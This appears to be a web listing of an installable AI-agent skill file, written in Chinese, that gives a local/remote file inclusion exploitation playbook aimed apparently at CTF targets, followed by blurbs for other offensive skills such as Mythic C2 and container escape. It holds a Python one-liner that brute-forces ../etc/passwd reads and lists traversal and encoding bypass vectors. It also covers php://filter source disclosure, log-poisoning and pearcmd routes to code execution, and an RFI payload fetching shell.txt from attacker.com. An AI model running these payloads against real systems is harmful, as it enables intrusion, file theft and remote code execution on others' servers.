skills/exploit/web-method/lfi-rfi-methodology/SKILL.md
本地文件包含(LFI)/远程文件包含(RFI)/任意文件读取的检测和利用。当目标有文件包含参数(page/file/include/lang)、PHP应用、日志文件可写时使用。包含file_exists()陷阱、PHP include()语法错误诊断、日志投毒正确payload、pearcmd.php利用、PHP filter chain RCE、session文件包含条件竞争
npx skillsauth add wgpsec/AboutSecurity lfi-rfi-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
在测试 LFI 之前必须先找全所有可访问页面。
ffuf / spray 扫描 .php/.html;失败时立即降级用 python3 requests 批量测试:private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php,
upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php,
manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php,
phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php
⛔ 退出条件:某端点测试 3+ 个参数均无响应差异(长度差 < 10 字节)→ 标记"无 LFI" → 换端点
用 Python 批量测试所有常见参数(3 轮以上还在枚举参数 = 违规):
python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]"
Web/CTF/Fuzz_param.txt(不是目录字典!)..%2f、%2e%2e%2f 绕过路径过滤常见参数名: file, page, path, include, doc, template, lang, module, action, view
测试向量:
?file=../../../etc/passwd
?file=../../../etc/passwd%00 (PHP < 5.3.4)
?file=..%252f..%252fetc%252fpasswd (双编码)
验证方法: 对比有参数和无参数的响应长度/内容,有差异 = 参数有效
逐步增加 ../ 层数(通常4-7层到根目录):
?file=../../../../etc/passwd
当已获取 Dockerfile 或应用源码时:
WORKDIR 值(如 /var/www/html/)xbow-flag.txt)/var/www/html/xbow-flag.txt)/app/flag.txt /flag 等Linux: /etc/passwd, /proc/self/environ, /var/log/apache2/access.log
Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config
Web应用: config.php, .env, wp-config.php
源码: php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=xxx 读取 PHP 源码⛔ 日志投毒优先触发条件:当任务描述/题目名包含 poison、log、日志 关键字时,跳过 wrapper 尝试,直接进入日志投毒流程!
LFI 确认
│ ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段)
│ ├─ 目标是 PHP + include()?
│ │ ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session)
│ │ ├─ file_exists() 不检查?→ php://input / data:// wrapper
│ │ ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain
│ │ ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行)
│ ├─ 日志投毒(最通用)
│ │ ├─ User-Agent 注入 PHP 代码
│ │ ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo
│ │ └─ 包含 /var/log/apache2/access.log 触发
│ ├─ PHP Filter Chain RCE(无需文件写入/日志/session)
│ │ └─ 用 php_filter_chain_generator.py 生成 chain
│ └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md)
?file=http://attacker.com/shell.txt (需 allow_url_include=On) | ?file=\\attacker.com\share\shell.php (SMB/UNC)
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能